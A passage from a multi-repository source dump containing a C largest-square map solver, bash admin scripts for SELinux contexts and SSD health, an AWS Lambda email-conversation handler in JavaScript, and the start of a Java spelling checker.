b5997527a79105a441e41e24c48bc8d70994163e
3558fe186cc22dde4c7cf77fc35350eb3f1d9193
refs/heads/main
<repo_name>Snegniy/bsq<file_sep>/read_file.c /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* read_file.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/22 05:45:45 by imelody #+# #+# */ /* Updated: 2021/09/22 06:33:02 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #include "include/bsq.h" char *read_line(char *text, int text_count, int *text_offset, \ int *line_count) { int i; char *result; i = 0; while (*text_offset + i < text_count && text[*text_offset + i] != '\n') i++; if (*text_offset + i == text_count - 1 && text[*text_offset + i] != '\n') return (NULL); *line_count = i; result = malloc(*line_count * sizeof(char)); memory_copy_2(text, result, *text_offset, *line_count); *text_offset += *line_count + 1; return (result); } void memory_copy_1(char *src, char *dst, int dst_offset, int count) { int i; i = 0; while (i < count) { dst[dst_offset + i] = src[i]; i++; } } void memory_copy_2(char *src, char *dst, int src_offset, int count) { int i; i = 0; while (i < count) { dst[i] = src[src_offset + i]; i++; } } void free_map(t_text_map *map) { int i; if (map->map != NULL) { i = 0; while (i < map->height) { if (map->map[i] != NULL) { free(map->map[i]); map->map[i] = NULL; } else break; i++; } free(map->map); map->map = NULL; } free(map); } void clear_helping(t_helping *helping) { if (helping->file != NULL) { free(helping->file); helping->file = NULL; } if (helping->line != NULL) { free(helping->line); helping->line = NULL; } helping->file_count = 0; helping->line_count = 0; helping->file_offset = 0; } char *read_file(int fd, int *count) { int read_count; char buf[8192]; char *temp; char *result; *count = 0; result = NULL; read_count = read(fd, &buf, (sizeof(buf) / sizeof(char))); while (read_count > 0) { *count += read_count; temp = malloc(*count * sizeof(char)); memory_copy_1(result, temp, 0, *count - read_count); memory_copy_1(buf, temp, *count - read_count, read_count); if (result != NULL) free(result); result = temp; read_count = read(fd, &buf, (sizeof(buf) / sizeof(char))); } return (result); } <file_sep>/include/bsq.h /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* bsq.h :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/18 14:48:03 by imelody #+# #+# */ /* Updated: 2021/09/22 20:46:48 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #ifndef BSQ_H # define BSQ_H # include <unistd.h> # include <stdlib.h> # include <stdio.h> # include <fcntl.h> typedef struct s_text_map { int width; int height; char empty; char obstacle; char full; char **map; } t_text_map; typedef struct s_helping { char *file; char *line; int file_offset; int file_count; int line_count; } t_helping; typedef struct s_helping_2 { int max_square_temp; int left_index_temp; int left_index; int top_index; int max_square; } t_helping_2; typedef struct s_helping_3 { int li; int ri; int w; int h; } t_helping_3; void standard_input(char *file_path); void process_file(char *file_path); t_text_map *read_map(int fd); void process_map(t_text_map *map); int parameter_check(t_text_map *map); void free_map(t_text_map *map); void clear_helping(t_helping *helping); char *read_file(int fd, int *count); char *read_line(char *text, int text_count, int *text_offset, \ int *line_count); void memory_copy_1(char *src, char *dst, int dst_offset, int count); void memory_copy_2(char *src, char *dst, int src_offset, int count); int bsq_atoi(char *str); void error(void); int ft_fun1(t_helping *helping, int fd); int ft_fun2(t_helping *helping); int ft_fun3(t_helping *helping, t_text_map **map); int ft_fun4(t_helping *helping, t_text_map *map); int ft_fun5(t_helping *helping, t_text_map *map); int ft_fun6(t_helping *helping, t_text_map *map); int ft_fun7(t_helping *helping, t_text_map *map); int ft_fun8(t_helping *helping, t_text_map *map); int** make_numeric_map(t_text_map *text_map); int** alloc_numeric_map(t_text_map *text_map); void init_numeric_map(t_text_map *text_map, int **map); void fill_numeric_map(t_text_map *text_map, int **map); int find_max_square(int* line, int count, int* left_index); int ft_fun9(t_helping_3 *helping, int *line); void fill_text_map(t_text_map *text_map, int left_index, int top_index, int square); void free_numeric_map(int** map, int count); #endif <file_sep>/main.c /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* main.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/19 16:10:10 by imelody #+# #+# */ /* Updated: 2021/09/22 20:33:11 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #include "include/bsq.h" int main(int argc, char **argv) { int i; char *filepath; if (argc == 1) { filepath = "./map_user"; standard_input(filepath); process_file(filepath); } else { i = 0; while (++i < argc) { process_file(argv[i]); } } sleep(1000); return (0); } void standard_input(char *file_path) { char buf[1]; int fd; fd = open(file_path, O_TRUNC | O_WRONLY | O_CREAT, 0666); while (read(0, buf, 1)) { write(fd, &buf, 1); } close(fd); } void process_file(char *file_path) { int i; int fd; t_text_map *map; fd = open(file_path, O_RDONLY); if (fd == -1) error(); else { map = read_map(fd); if (map == NULL) error(); else { process_map(map); i = 0; while (i < map->height) { write(1, map->map[i++], map->width); write(1, "\n", 1); } free_map(map); } close(fd); } } void error(void) { write(2, "map error\n", 10); } <file_sep>/map.c /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* map.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/22 05:47:15 by imelody #+# #+# */ /* Updated: 2021/09/22 20:36:55 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #include "include/bsq.h" t_text_map *read_map(int fd) { t_helping helping; t_text_map *map; helping.file = NULL; helping.line = NULL; if (ft_fun1(&helping, fd)) return (NULL); if (ft_fun2(&helping)) return (NULL); if (ft_fun3(&helping, &map)) return (NULL); if (ft_fun4(&helping, map)) return (NULL); if (ft_fun5(&helping, map)) return (NULL); if (ft_fun6(&helping, map)) return (NULL); if (ft_fun7(&helping, map)) return (NULL); if (ft_fun8(&helping, map)) return (NULL); return (map); } int ft_fun1(t_helping* helping, int fd) { helping->file_offset = 0; helping->file = read_file(fd, &(helping->file_count)); if (helping->file == NULL) return (1); if (helping->file_count == 0) { clear_helping(helping); return (1); } return (0); } int ft_fun2(t_helping *helping) { helping->line = read_line(helping->file, helping->file_count, \ &(helping->file_offset), &(helping->line_count)); if (helping->line == NULL) { clear_helping(helping); return (1); } if (helping->line_count < 4) { clear_helping(helping); return (1); } return (0); } int ft_fun3(t_helping *helping, t_text_map **map) { *map = malloc(sizeof(t_text_map)); if (*map == NULL) { clear_helping(helping); return (1); } (*map)->map = NULL; (*map)->full = helping->line[helping->line_count - 1]; (*map)->obstacle = helping->line[helping->line_count - 2]; (*map)->empty = helping->line[helping->line_count - 3]; helping->line[helping->line_count - 3] = '\0'; (*map)->height = bsq_atoi(helping->line); free(helping->line); return (0); } <file_sep>/map_ex.c /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* map_ex.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/22 19:49:49 by imelody #+# #+# */ /* Updated: 2021/09/22 20:43:50 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #include "include/bsq.h" int ft_fun4(t_helping *helping, t_text_map *map) { if (parameter_check(map) != 0) { clear_helping(helping); free_map(map); return (1); } helping->line = read_line(helping->file, helping->file_count, \ &(helping->file_offset), &(helping->line_count)); if (helping->line == NULL) { clear_helping(helping); free_map(map); return (1); } map->width = helping->line_count; return (0); } int ft_fun5(t_helping *helping, t_text_map *map) { int i; if (map->width < 1) { clear_helping(helping); free_map(map); return (1); } map->map = malloc(map->height * sizeof(char *)); i = 0; while (i < map->height) { map->map[i] = NULL; i++; } map->map[0] = helping->line; helping->line = NULL; return (0); } int ft_fun6(t_helping *helping, t_text_map *map) { int i; i = 0; while (i < map->height - 1) { map->map[1 + i] = read_line(helping->file, helping->file_count, \ &(helping->file_offset), &(helping->line_count)); if (map->map[1 + i] == NULL || \ helping->line_count != map->width) { clear_helping(helping); free_map(map); return (1); } i++; } return (0); } int ft_fun7(t_helping *helping, t_text_map *map) { if (helping->file_offset != helping->file_count) { clear_helping(helping); free_map(map); return (1); } return (0); } int ft_fun8(t_helping *helping, t_text_map *map) { int i; int j; i = 0; while (i < map->height) { j = 0; while (j < map->width) { if (map->map[i][j] != map->empty && \ map->map[i][j] != map->obstacle) { clear_helping(helping); free_map(map); return (1); } j++; } i++; } return (0); } <file_sep>/algorithm.c /* ************************************************************************** */ /* */ /* ::: :::::::: */ /* algorithm.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: imelody <<EMAIL>> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/09/22 05:15:01 by imelody #+# #+# */ /* Updated: 2021/09/22 18:42:57 by imelody ### ########.fr */ /* */ /* ************************************************************************** */ #include "include/bsq.h" void process_map(t_text_map *text_map) { int i; int **map; t_helping_2 helping; map = make_numeric_map(text_map); helping.max_square = 0; i = 0; while (i < text_map->height) { helping.max_square_temp = find_max_square(map[i], text_map->width, &helping.left_index_temp); if (helping.max_square < helping.max_square_temp) { helping.max_square = helping.max_square_temp; helping.left_index = helping.left_index_temp; helping.top_index = i - helping.max_square_temp + 1; } i++; } fill_text_map(text_map, helping.left_index, helping.top_index, helping.max_square); free_numeric_map(map, text_map->height); } void free_numeric_map(int **map, int count) { int i; i = 0; while (i < count) { free(map[i]); i++; } free(map); } void fill_text_map(t_text_map *text_map, int left_index, int top_index, int square) { int i; int j; i = 0; while (i < square) { j = 0; while (j < square) { text_map->map[top_index + i][left_index + j] = text_map->full; j++; } i++; } } int find_max_square(int *line, int count, int *left_index) { int square; int max_square; t_helping_3 helping; helping.li = -1; helping.ri = 0; helping.h = line[0]; max_square = 0; while (helping.ri < count) { square = ft_fun9(&helping, line); if (max_square < square) { max_square = square; *left_index = helping.li + 1; } helping.ri++; } return (max_square); } int ft_fun9(t_helping_3 *helping, int *line) { int square; if (helping->h > line[helping->ri]) helping->h = line[helping->ri]; if (helping->li < helping->ri - helping->h) { helping->li = helping->ri - helping->h; if (helping->li == helping->ri) // <-- helping->li--; if (line[helping->li + 1] < line[helping->ri]) helping->h = line[helping->li + 1]; else helping->h = line[helping->ri]; } helping->w = helping->ri - helping->li; if (helping->w < helping->h) square = helping->w; else square = helping->h; return square; } int** make_numeric_map(t_text_map *text_map) { int **map; map = alloc_numeric_map(text_map); init_numeric_map(text_map, map); fill_numeric_map(text_map, map); return (map); } int** alloc_numeric_map(t_text_map *text_map) { int i; int j; int **map; map = malloc(text_map->height * sizeof(int *)); i = 0; while (i < text_map->height) { map[i] = malloc(text_map->width * sizeof(int)); i++; } i = 0; while (i < text_map->height) { j = 0; while (j < text_map->width) { map[i][j] = text_map->map[i][j] == text_map->empty; j++; } i++; } return (map); } void init_numeric_map(t_text_map *text_map, int **map) { int i; int j; i = 0; while (i < text_map->height) { j = 0; while (j < text_map->width) { map[i][j] = text_map->map[i][j] == text_map->empty; j++; } i++; } } void fill_numeric_map(t_text_map *text_map, int **map) { int i; int j; i = 1; while (i < text_map->height) { j = 0; while (j < text_map->width) { if (map[i][j] == 1) map[i][j] += map[i - 1][j]; j++; } i++; } }
e6f3e1a863c2d51603b4b1c8a69398bdaabcd40d
[ "C" ]
6
C
Snegniy/bsq
70be264218bfa6dc58107db0e93e9700254733cc
a3c7a5e869bfc3002985fc3e8c388f657b7170f7
refs/heads/master
<repo_name>the-paulus/ShellScripts<file_sep>/README.md # ToolBox This repository is a collection of scripts (Bash, PHP, or Python) and configurations that make my life easier. <file_sep>/user/.bash_includes/functions_docker.sh function dash() { docker exec -it $1 /bin/bash } <file_sep>/user/bin/add_fcontext.sh #!/bin/bash # Adds the necessary SELinux file contexts needed for static or custom sites, or sites utilizing frames or content management systems. if [ $(whoami) != "root" ] || [ ! $(selinuxenabled 2> /dev/null ) ] then echo "You must be root and SELinux must be installed." exit fi # General website file contexts. semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/private" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/backup" semanage fcontext -a -t httpd_log_t "/var/www/vhosts(/.*)?/logs" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/private" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/backup" semanage fcontext -a -t httpd_log_t "/var/www/vhosts(/.*)?/subdomains(/.*)logs" # Drupal site file contexts semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/sites(/.*)?/files" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/sites(/.*)?/files" # Joomla! site file contexts semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/plugins/installer" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/libraries?" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/language" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/administrator/manifests/libraries" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/components" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/media" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/administrator/language" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/plugins" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/httpdocs/administrator/manifests/packages" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/plugins/installer" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/libraries" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/language" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/administrator/manifests/libraries" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/components" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/media" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/administrator/language" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/plugins" semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/vhosts(/.*)?/subdomains(/.*)/httpdocs/administrator/manifests/packages" <file_sep>/user/bin/ssd_health.sh #!/bin/sh SMARTCTL=$(which smartctl 2> /dev/null) if [ $? -ne 0 ] then echo "smartctl not found. Do you have permission to run it?" exit fi BLUE="\033[1;34m" CYAN="\033[0;36m" GREEN="\033[0;32m" NOCOLOR="\033[0m" function get_wear_leveling_count(){ if [ $# -ne 1 ] then exit fi echo $($SMARTCTL -A $1 | grep 177 | awk '{print $10}') } function get_data_written(){ if [ $# -ne 1 ] then exit fi lbas_written=$($SMARTCTL -A $1 | grep 241 | awk '{print $10}') echo $(( $lbas_written*512 )) } NOW=`date +%s` ssd_drives=( "/dev/sde" "/dev/sdf" ) ssd_dates=("12/17/2015" "12/17/2015") ssd_days=( $((($NOW - `date -d ${ssd_dates[0]} +%s`)/(60*60*24))) $((($NOW - `date -d ${ssd_dates[1]} +%s`)/(60*60*24)))) ssd_tbw=( 75 75 ) count=0 for i in ${ssd_drives[@]} do echo -e "\n${BLUE}$i${NOCOLOR}" wear_level=$( get_wear_leveling_count $i ) echo -e "${CYAN}Wear level: ${GREEN}${wear_level}${NOCOLOR}" data_written=$( get_data_written $i ) lifetime_data=$((${ssd_tbw[$count]} * 1099511627776)) life=$(echo "scale=2; (($data_written / $lifetime_data)) * 100" | bc) echo -e "${CYAN}Health : ${GREEN}$life% ${NOCOLOR}" echo -e "${CYAN}Endurance : " echo -e "\t ${GREEN} $((${data_written} / 1048576)) / $((${ssd_tbw[$count]} * 1049000000)) MB${NOCOLOR}" echo -e "\t ${GREEN} $((${data_written} / 1073741824)) / $((${ssd_tbw[$count]}*1048576)) GB${NOCOLOR}" echo -e "\t ${GREEN} $((${data_written} / 1099511627776)) / ${ssd_tbw[$count]} TB${NOCOLOR}" echo -e "${CYAN}Data / day:${NOCOLOR}" echo -e "\t ${GREEN} $(((${data_written} / 1048576)/${ssd_days[$count]}))${NOCOLOR} MB" echo -e "\t ${GREEN} $(((${data_written} / 1073741824)/${ssd_days[$count]}))${NOCOLOR} GB" echo -e "\t ${GREEN} $(((${data_written} / 1099511627776)/${ssd_days[$count]}))${NOCOLOR} TB" count=$(($count+1)) done <file_sep>/user/.bash_includes/functions_web.sh function chcuser() { if [ -f /etc/domusers ] then USER=$(cat /etc/domusers | grep $1 | split -d':' -f 2) sudo sudo su -m -l $USER } function httpdocs() { if [ $# -eq 2 ] then cd /var/www/vhosts/$1/subdomains/$2/httpdocs else cd /var/www/vhosts/$1/httpdocs fi }
bff968c607c2760a3288c4ba11ba54591de5890a
[ "Markdown", "Shell" ]
5
Markdown
the-paulus/ShellScripts
d903e09b09c3f1071a5af2c8db8b1d71da6fbd8d
11d430ef4f2119c8992c0b0808b5a60f4d9f47ce
refs/heads/master
<file_sep>import sql from 'mssql'; import dbConfig from './config/db.config'; export default class ConversationDb { constructor() { this.isConnected = false; this.connectionLock = false; } _connect() { return new Promise(function (resolve, reject) { sql.connect(dbConfig) .then(pool => { resolve(pool); }) .catch(err => reject(err)); }); } async _connectAsync() { try { while (this.connectionLock) {} if (this.isConnected) return; this.connectionLock = true; this.db = await this._connect(); this.isConnected = true; this.connectionLock = false; } catch (err) { console.log(err); } } async getDealerIdByEmail(email) { if (!this.isConnected) await this._connectAsync(); return await this.db.request() .input('email_address', email) .query('select TOP 1 * from dealers where EmailAddress = @email_address'); } async saveNewDealer(email, dealerName, contactName) { if (!this.isConnected) await this._connectAsync(); var result = await this.db.request() .input('email_address', email) .input('dealer_name', dealerName) .input('contact_name', contactName) .output('dealer_id', sql.Int) .query('insert into dealers(DealerName, ContactName, EmailAddress) VALUES(@dealer_name, @contact_name, @email_address); SELECT @@IDENTITY as dealer_id'); return result.recordset[0].dealer_id; } async saveNewConversation(hash, customerId, dealerId) { if (!this.isConnected) await this._connectAsync(); return await this.db.request() .input('hash', hash) .input('customer_id', customerId) .input('dealer_id', dealerId) .query('insert into conversations(Hash, CustomerId, DealerId) VALUES(@hash,@customer_id,@dealer_id)'); } async getCustomerByEmail(email) { if (!this.isConnected) await this._connectAsync(); return await this.db.request() .input('email_address', email) .query('select TOP 1 * from customers where EmailAddress = @email_address'); } async saveNewCustomer(email, name) { if (!this.isConnected) await this._connectAsync(); var result = await this.db.request() .input('email_address', email) .input('name', name) .output('customer_id', sql.Int) .query('insert into customers(Name, EmailAddress) VALUES(@name,@email_address); SELECT @@IDENTITY as customer_id'); return result.recordset[0].customer_id; } async saveNewMessage(conversationHash, customerId, dealerId, message) { if (!this.isConnected) await this._connectAsync(); return await this.db.request() .input('conversation_hash', conversationHash) .input('customer_id', customerId) .input('dealer_id', dealerId) .input('message', message) .input('timestamp', new Date()) .query('insert into messages(ConversationHash, CustomerId, DealerId, Message, Timestamp) VALUES(@conversation_hash,@customer_id,@dealer_id,@message, @timestamp)'); } close() { this.db.close(); this.isConnected = false; } }<file_sep>var mssql = require('mssql'); var db_config = require('./config/db.config.js'); var getMailFromS3 = require('./getMailFromS3.js'); const errorHandler = error => console.log(`Error: ${error}`); //const x = getConversationId({ Records: [{ ses: { mail: { destination: ["<EMAIL>"] } } }] }); //checkConversationId(x) // .then(result => { // process.exit(); // }); exports.handler = (event, context, callback) => { console.log(JSON.stringify(event)); getMailFromS3(event.Records[0].s3) .then(mail => { console.log(JSON.stringify(mail)); var matchedDestination = getConversationId(mail); if (matchedDestination === undefined) { callback(null, 'no conversation id found'); } console.log(matchedDestination); checkConversationId(matchedDestination) .then(result => { if (result) { callback(null, 'matched conversation ' + matchedDestination); } else { callback(null, 'no conversation matched (' + matchedDestination + ')'); } }); }); }; function getConversationId(mail) { if (mail === undefined || mail.to === undefined || mail.to.value === undefined || mail.to.value.length === 0) { return undefined; } var destinations = mail.to.value; var matchedDestination; for (var i = 0; i < destinations.length; i++) { var parts = destinations[i].address.split('@'); if (parts[1] == 'poweredbytim.co.uk') { return parts[0]; } } } function checkConversationId(id) { return mssql .connect(db_config) .then(pool => { console.log('here'); return pool .request() .input('conversation_id', id) .query('select * from conversations where id = @conversation_id') .then(result => { pool.close(); return result.recordsets.length > 0 }) .catch(errorHandler); }) .catch(errorHandler); }<file_sep>import MailRetriever from './js/mail-retriever'; import MailParser from './js/mail-parser'; import ConversationDb from '../shared/js/conversation-db'; const conversationDb = new ConversationDb(); export const hello = async (event, context, callback) => { console.log("hello"); var mail = await new MailRetriever().getMailForS3Data(event.Records[0].s3); console.log(mail); var conversationData = await new MailParser().parse(mail); console.log(conversationData); var dealerId = await getDealerIdByEmail(conversationData.SenderEmail); await parseAndAddReply(mail.text, conversationData, dealerId); conversationDb.close(); callback(null, { message: 'Go Serverless v1.0! Your function executed successfully!' }); }; async function getDealerIdByEmail(emailAddress) { var dealerResult = await conversationDb.getDealerIdByEmail(emailAddress); if(dealerResult.recordset.length == 0) { return null; } return dealerResult.recordset[0].Id } async function parseAndAddReply(mailText, conversation, dealerId) { var parsedMessage = "reply"; await conversationDb.saveNewMessage(conversation.ConversationId,null,dealerId,parsedMessage); }<file_sep>import {SES} from 'aws-sdk'; export default (to, hash, message) => { var params = buildParams(to, hash, message); new SES().sendEmail(params, (err, data) => { console.log(`Err: ${err}`); console.log(`Data: ${data}`); }); }; function buildParams(to, hash, message) { return { Destination: { ToAddresses: [to] }, Message: { Body: { Html: { Charset: "UTF-8", Data: `<p>${message}</p>` }, Text: { Charset: "UTF-8", Data: message } }, Subject: { Charset: "UTF-8", Data: `[#${hash}] Z customer says...` } }, ReplyToAddresses: [ "<EMAIL>" ], Source: "<EMAIL>" }; }<file_sep>var slsw = require('serverless-webpack'); var nodeExternals = require('webpack-node-externals'); var path = require("path"); module.exports = { entry: slsw.lib.entries, target: 'node', // Generate sourcemaps for proper error messages devtool: 'source-map', // Since 'aws-sdk' is not compatible with webpack, // we exclude all node dependencies externals: [nodeExternals()], // Run babel on all .js files and skip those in node_modules module: { rules: [{ test: /\.js$/, loader: 'babel-loader', options: { plugins: [ require.resolve("babel-plugin-source-map-support"), require.resolve("babel-plugin-transform-runtime") ], presets: [ require.resolve("babel-preset-es2015"), require.resolve("babel-preset-stage-3") ] }, include: [__dirname,path.join(__dirname, '../shared')], exclude: /node_modules/, }] } }; <file_sep>var mssql = require('mssql'); var db_config = require('./config/db.config.js'); var getMailFromS3 = require('./getMailFromS3.js'); const errorHandler = error => console.log(`Error: ${error}`); const dummyEvent = require('./sample.js'); const dummyCallback = (p, r) => console.log(r); const subjectConversationIdRegex = /^.*\(#([0-9]+)\).*$/; if (process.env.DEBUG) { processEvent(dummyEvent, dummyCallback); } exports.handler = async (event, context, callback) => processEvent(event, callback); function processEvent(event, callback) { getMailFromS3(event.Records[0].s3) .then(mail => { console.log(JSON.stringify(mail)); var conversationData = getConversationData(mail); if (conversationData.senderEmail === undefined || conversationData.conversationId === undefined) { callback(null, `Conversation data flawed: ${conversationData}`); } console.log(conversationData); mssql.connect(db_config) .then(pool => { return getSenderByEmail(conversationData.senderEmail) .then(result => console.log(`Sender exists: ${result}`)); }) .then(pool => { return checkConversationId(conversationData.conversationId) .then(result => { if (result) { callback(null, 'matched conversation ' + conversationData.conversationId); } else { callback(null, 'no conversation matched (' + conversationData.conversationId + ')'); } }); }) .then(() => mssql.close()); }); } function getConversationData(mail) { return { senderEmail: findSenderId(mail), conversationId: getConversationId(mail) }; } function findSenderId(mail) { if (mail === undefined || mail.from === undefined || mail.from.value === undefined || mail.from.value.length === 0) { return undefined; } return mail.from.value[0].address; } function getConversationId(mail) { if (mail === undefined) return undefined; var match = subjectConversationIdRegex.exec(mail.subject); if (match.length < 2) { return undefined; } return match[1]; } function checkConversationId(id) { return new mssql.Request() .input('conversation_id', id) .query('select * from conversations where id = @conversation_id') .then(result => { return result.recordsets.length > 0 }) .catch(errorHandler); } function getSenderByEmail(email) { return new mssql.Request() .input('email_address', email) .query('select TOP 1 * from dealers where EmailAddress = @email_address') .then(result => { console.log(JSON.stringify(result.recordsets)); return result.recordsets.length > 0 }) .catch(errorHandler); }<file_sep>import shortHash from 'shorthash'; export default (fromEmail, toEmail) => { var timestamp = Math.round((new Date()).getTime() / 1000); return hashString(`${fromEmail}${toEmail}${timestamp}`); } function hashString(str) { return shortHash.unique(str); }<file_sep>import ConversationDb from '../shared/js/conversation-db'; import generateHash from './js/conversation-hash-generator'; import sendEmail from '../shared/js/email-sender'; import sql from 'mssql'; const conversationDb = new ConversationDb(); export const hello = async (event, context, callback) => { var conversation = await _createConversation(event.yourEmail, event.theirEmail); await conversationDb.saveNewMessage(conversation.conversationId, conversation.customerId, null, event.message); sendEmail(event.theirEmail, conversation.conversationId, event.message); conversationDb.close(); callback(null, { conversationId: conversation.conversationId }); }; async function _createConversation(customerEmail, dealerEmail) { var conversationId = generateHash(customerEmail, dealerEmail); var customerId = await _getOrCreateCustomer(customerEmail); console.log(`Customer: ${customerId}`); var dealerId = await _getOrCreateDealer(dealerEmail); console.log(`Dealer: ${dealerId}`); await conversationDb.saveNewConversation(conversationId, customerId, dealerId); return { customerId, dealerId, conversationId }; } async function _getOrCreateCustomer(emailAddress) { let customerId; var customerQueryResult = await conversationDb.getCustomerByEmail(emailAddress); if(customerQueryResult.recordset.length == 0) { customerId = await conversationDb.saveNewCustomer(emailAddress, 'customer1'); } else { customerId = customerQueryResult.recordset[0].Id; } return customerId; } async function _getOrCreateDealer(emailAddress) { let dealerId; var dealerQueryResult = await conversationDb.getDealerIdByEmail(emailAddress); if(dealerQueryResult.recordset.length == 0) { dealerId = await conversationDb.saveNewDealer(emailAddress, 'dealer1'); } else { dealerId = dealerQueryResult.recordset[0].Id; } return dealerId; }<file_sep>var AWS = require('aws-sdk'); var mailparser = require('mailparser'); const simpleParser = mailparser.simpleParser; module.exports = function getMailFromS3(s3) { var bucketName = s3.bucket.name; var fileName = s3.object.key return new AWS.S3() .getObject({ Bucket: bucketName, Key: fileName }) .promise() .then(data => { console.log(data.Body.toString()); return simpleParser(data.Body.toString()) .then(mail => mail) .catch(error => console.log(`Error: ${error}`)) }) .catch(err => { console.log(`Error: ${err}`); }); }<file_sep>cd lambda/ npm i cd .. npm run build npm run package aws lambda update-function-code --function-name processEmail --zip-file fileb://c:\\Users\\tim.borrowdale\\Code\\pbt-email\\package.zip --region eu-west-1<file_sep>DEBUG=true node lambda/index.js<file_sep>import {S3} from 'aws-sdk'; import {simpleParser} from 'mailparser'; export default class MailRetriever { constructor() { this.s3 = new S3(); } async getMailForS3Data(s3data) { var bucketName = s3data.bucket.name; var fileName = s3data.object.key var file = await this.s3 .getObject({ Bucket: bucketName, Key: fileName }) .promise(); return await simpleParser(file.Body.toString()); } }
9772e0ccbd5849d011b0264d66b6184f73a7b13c
[ "JavaScript", "Shell" ]
12
JavaScript
zuto/ses-lambda-spike
612201db18fceb972426f63edcb7d4755ff3088a
a5f259ad74239793910c4c75d7a3c389a52df663
refs/heads/main
<file_sep> import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.SortedMap; import java.util.SortedSet; import java.util.TreeMap; import java.util.ArrayList; import java.util.List; import java.util.Collections; import java.util.Comparator; /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * * @author jesse */ public class SpellingChecker { private Set<String> words = new HashSet<String>(); /** * Adds the given word to the dictionary. * @return true if the word was not in the dictionary already. */ public boolean addWord(String word){ return words.add(word); } /** * Removes the given word from the dictionary. * @return true if the word was in the dictionary. */ public boolean removeWord(String word){ return words.remove(word); } /** * @return true if the word is found in the dictionary. */ public boolean checkSpelling(String word){ return words.contains(word); } private class Pair<A, B>{ public Pair(A a, B b){ this.a = a; this.b = b; } A a; B b; } /** * Returns a list of the words nearest to the given word no larger than the given size. * @param size Max size of the result. * @param maxEditDistance Max edit distance (number of changes, insertions, or removals) between the given word and each word in the result. */ public List<String> findNearest(String word, int size, int maxEditDistance){ if (words.size() == 0 || size <= 0 || maxEditDistance < 0) return new ArrayList<>(); // set up list to store result. This list needs to be sorted every time a value is added. cmd can be given to Collections.sort. // *I'm doing it this way because TreeMap doesn't allow duplicate keys. List<Pair<Integer, String>> result = new ArrayList<>(); Comparator<Pair<Integer, String>> cmp = (pair1, pair2) -> pair1.a.compareTo(pair2.a); var iter = words.iterator(); // prime the list by filling it up to the max size with near matches, as long as the edit distance for each isn't too big. while(result.size() < size && iter.hasNext()){ String w = iter.next(); int dif = rateDif(w, word); if (dif <= maxEditDistance) result.add(new Pair(dif, w)); } Collections.sort(result, cmp); // must sort list! // go through the rest of the words in the dictionary and add them to the list if they're better than what's already there. Still not letting the list grow past the max size. while(iter.hasNext()){ String w = iter.next(); int dif = rateDif(w, word); if (dif < result.get(result.size() - 1).a){ result.remove(result.size() - 1); result.add(new Pair(dif, w)); Collections.sort(result, cmp); } else if (result.size() < size && dif < maxEditDistance){ result.add(new Pair(dif, w)); Collections.sort(result, cmp); } } // copy the results into a more 